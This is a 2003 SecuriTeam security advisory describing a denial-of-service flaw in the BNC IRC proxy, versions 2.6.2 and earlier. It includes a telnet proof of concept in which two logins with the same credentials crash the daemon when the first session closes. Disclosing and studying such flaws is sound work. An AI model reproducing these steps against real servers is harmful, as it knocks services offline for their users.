

# [UNIX] BNC Double File Locking Mechanism Allows Attackers to Cause a Denial of Service

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0040.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 06/16/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 16 Jun 2003 17:30:32 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Latest attack techniques.

You're a pen tester, but is google.com still your R&D team?

Now you can get trustworthy commercial-grade exploits and the latest techniques from a world-class research group.

Learn more at <http://www.coresecurity.com/promos/site1>, or call 617-399-6980

-----

BNC Double File Locking Mechanism Allows Attackers to Cause a Denial of Service

---

## SUMMARY

<<http://www.gotbnc.com/>> BNC is a "great IRC (Internet Relay Chat) proxying server under the GPL (General Public License). It allows users to connect to chat servers by bouncing off the computer which is running BNC. Basically, it forwards the information from the user to the server and vice versa". A vulnerability in BNC allows remote attackers to cause the product to crash.

## DETAILS

Vulnerable systems:

- \* BNC version 2.6.2 and prior

Immune systems:

- \* BNC version 2.6.4 and above

## Securiteam: [UNIX] BNC Double File Locking Mechanism Allows Attackers to Cause a Denial of Service

Example:

First session:

```
[angelo@rosiello.org]$ telnet 127.0.0.1 32986
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^'.
user first first first first
nick boom ~
NOTICE AUTH :You need to say /quote PASS
PASS temp123
NOTICE AUTH :Welcome to BNC v2.6.2, the irc proxy
NOTICE AUTH :Level two, lets connect to something real now
NOTICE AUTH :type /quote conn [server] to connect
NOTICE AUTH :type /quote help for basic list of commands and usage
```

Second session:

```
[angelo@rosiello.org]$ telnet 127.0.0.1 32986
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^'.
user second second second second
nick boom
NOTICE AUTH :You need to
say /quote PASS
PASS temp123
NOTICE AUTH :Welcome to BNC v2.6.2, the irc proxy
NOTICE AUTH :Level two, lets connect to something real now
NOTICE AUTH :type /quote conn [server] to connect
NOTICE AUTH :type /quote help for basic list of commands and usage
quit
Connection closed by foreign host.
```

Now close the first session... you should see:

```
(gdb)Program exited with code 010.
The password must be the right one! (the user must be real).
The daemon will die.
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:angelo@rosiello.org>> Angelo Rosiello.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

## Securiteam: [UNIX] BNC Double File Locking Mechanism Allows Attackers to Cause a Denial of Service

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.